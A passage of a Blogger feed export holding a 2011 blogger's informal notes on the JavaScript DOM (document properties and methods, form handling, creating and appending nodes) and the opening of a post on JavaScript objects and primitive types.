0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns the date and time the document was last modified&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="37"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;No&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="173"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_doc_readystate.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;readyState&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="401"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns the (loading) status of the document&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="37"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;No&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="173"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_doc_referrer.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;referrer&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="401"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns the URL of the document that loaded the current document&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="37"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="173"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_doc_title.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;title&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="401"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Sets or returns the title of the document&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="37"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="173"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_doc_url.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;URL&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="401"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns the full URL of the document&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="37"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h3 class="western"&gt;&lt;/h3&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;h4 class="western"&gt;Other Document Object Methods&lt;/h4&gt;&lt;table border="1" cellpadding="2" cellspacing="0" style="width: 625px;"&gt;&lt;colgroup&gt;&lt;col width="177"&gt;&lt;/col&gt;&lt;col width="398"&gt;&lt;/col&gt;&lt;col width="36"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th width="177"&gt;&lt;div align="LEFT" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Method&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;th width="398"&gt;&lt;div align="LEFT" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Description&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;th width="36"&gt;&lt;div align="LEFT" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;W3C&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="177"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/met_doc_close.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;close()&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="398"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Closes the output stream previously opened with document.open()&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="36"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="177"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;getElementById()&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="398"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Accesses the first element with the specified id&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="36"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="177"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/met_doc_getelementsbyname.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;getElementsByName()&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;td width="398"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Accesses all elements with a specified name&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="36"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="177"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/met_doc_getelementsbytagname.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;getElementsByTagName()&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="398"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Accesses all elements with a specified tagname&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="36"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="177"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/met_doc_open.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;open()&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="398"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Opens an output stream to collect the output from document.write() or document.writeln()&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="36"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="177"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/met_doc_write.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;write()&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="398"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Writes HTML expressions or JavaScript code to a document&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="36"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="177"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/met_doc_writeln.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;writeln()&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="398"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Same as write(), but adds a newline character after each statement&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="36"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h3 class="western"&gt;&lt;/h3&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Document objects collection from the old dom0&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;document.forms[]&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;document.links[]&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;document.images[]&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Handling forms:&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;var sel = [the select box];&lt;br /&gt;var value = sel.options[sel.selectedIndex].value;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;var text = [text box]&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;text.value (will provide the value inside the text box)&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;var checkbox = [check box]&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;checkbox.checked - would return if the checkbox is checked or not. (and they too have value property).&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&amp;lt;input type="radio" name="income" value="10" /&amp;gt;&amp;amp;euro; 10 or lower&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;input type="radio" name="income" value="100" /&amp;gt;&amp;amp;euro; 11-100&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;input type="radio" name="income" value="1000" /&amp;gt;&amp;amp;euro; 101-1000&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;input type="radio" name="income" value="10000" /&amp;gt;&amp;amp;euro; 1001-10000&amp;lt;br /&amp;gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;The above radio buttons are accessible through this DOM call:&lt;br /&gt;var radios = document.forms[0].elements['income'];&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;var radios = document.forms[0].elements['income'];&lt;br /&gt;for (var i=0;i&amp;lt;radios.length;i++) {&lt;br /&gt;if (radios[i].checked)&lt;br /&gt;// do something&lt;br /&gt;}&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;var x = document.createElement('p');&lt;br /&gt;var y = document.createTextNode('This is a created element');&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0cm; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;x refers to the newly created &amp;lt;p&amp;gt; element, while y refers to the newly created text node. These nodes aren't inserted in the document yet. You would now use appendChild() or insertBefore() to add them to the document tree.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0cm; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0cm; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Example:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="illustration-western" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;x.appendChild(y);&lt;br /&gt;document.body.appendChild(x);&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Element interface:&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;element interface properties: InnerHTML (set / get html content on an element), scroll, offset,client (width, height,top)&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;a href="http://1.bp.blogspot.com/-fNMb6A1EZKE/TsFUu0j6LGI/AAAAAAAABAc/T5bSM_uNjVo/s1600/scroll_offset_client-786844.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5674910168823508066" src="http://1.bp.blogspot.com/-fNMb6A1EZKE/TsFUu0j6LGI/AAAAAAAABAc/T5bSM_uNjVo/s320/scroll_offset_client-786844.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;element methods: getAttribute, setAttribute, hasAttribute, removeAttribute&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Event handling:&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;Dom Events:&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;Event bubbling:&lt;br /&gt;Css modifications using javascript:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-8958843624125958548?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/8958843624125958548/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=8958843624125958548' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/8958843624125958548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/8958843624125958548'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/11/javascript-dom.html' title='javascript dom'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-fNMb6A1EZKE/TsFUu0j6LGI/AAAAAAAABAc/T5bSM_uNjVo/s72-c/scroll_offset_client-786844.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-6409903802005404308</id><published>2011-11-12T21:07:00.000-08:00</published><updated>2011-11-24T19:31:12.368-08:00</updated><title type='text'>Javascript.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;OOP:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;ECMA 262 standard.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Action script for flash is also based on ECMA standard.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Objects, Classes, Encapsulation, Inheritance, Polymorphism.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Objects - nouns, methods - verbs, properties - adjectives.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Encapsulation - Public, private, protected (information hiding) - In javascript everything is public - but use closures to hide.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Agregation - combining several objects into one.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Inheritance - classes inherit from classes (javascript objects inherits from objects - so objects based on objects)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Polymorphism - ability to calling the same method on two different objects.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Primitive types:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;number, string,boolean, undefined, null&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Numbers - 0x - hex, 2e+2 - means 200, 23, Infinity - is a special value /number :), NaN (is also a number - if you multiply 10*f &amp;nbsp;- as f is not a number result is a NaN) max 308 zeros 309 is too much.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Automatic string conversions to number take place if you use *number like string* &amp;nbsp;in arithematic operators otherwise NaN is r&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Note - NaN == NaN - is false&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;typeof operator in javascript.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;You can use array operators to access individual character in a javascript string -&amp;nbsp;var s = 'one';&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; s[0]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;"o"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 